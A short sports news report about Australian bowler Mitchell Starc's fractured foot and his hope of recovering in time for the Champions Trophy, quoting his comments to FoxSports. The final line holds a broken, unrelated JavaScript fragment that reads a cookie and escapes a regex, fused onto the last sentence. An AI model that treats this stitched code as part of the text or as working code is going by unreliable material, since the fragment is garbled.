Australian strike bowler Mitchell Starc is aiming to return to full fitness in time for Australia's Champions Trophy tilt in June.
Starc flew home from Australia's tour of India after the second Test due to a fracture in his right foot.
The 27-year-old missed eight months of cricket from late 2015 to mid 2016 due to a fracture in the same foot, however, he says the current injury is not as bad as initially feared and he is hopeful of returning shortly.
"It's ok, it's not snapped in half like the one 18 months ago," he told FoxSports on Tuesday.
"I did the third metatarsal last time, this one is the fourth. It's a nice fracture, but it's not displaced so I don't need (to wear) a boot fortunately.
"So I'm still in the gym and getting ready for when I do come back. When that might be, I see the specialist on Thursday and hopefully I'll get a clearer picture then.
"But the Champions Trophy is definitely not out of the picture at this time."
Australia kick off their Champions Trophy campaign, which is this year being held in the United Kingdom, against New Zealand on June 2 at Edgbaston. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
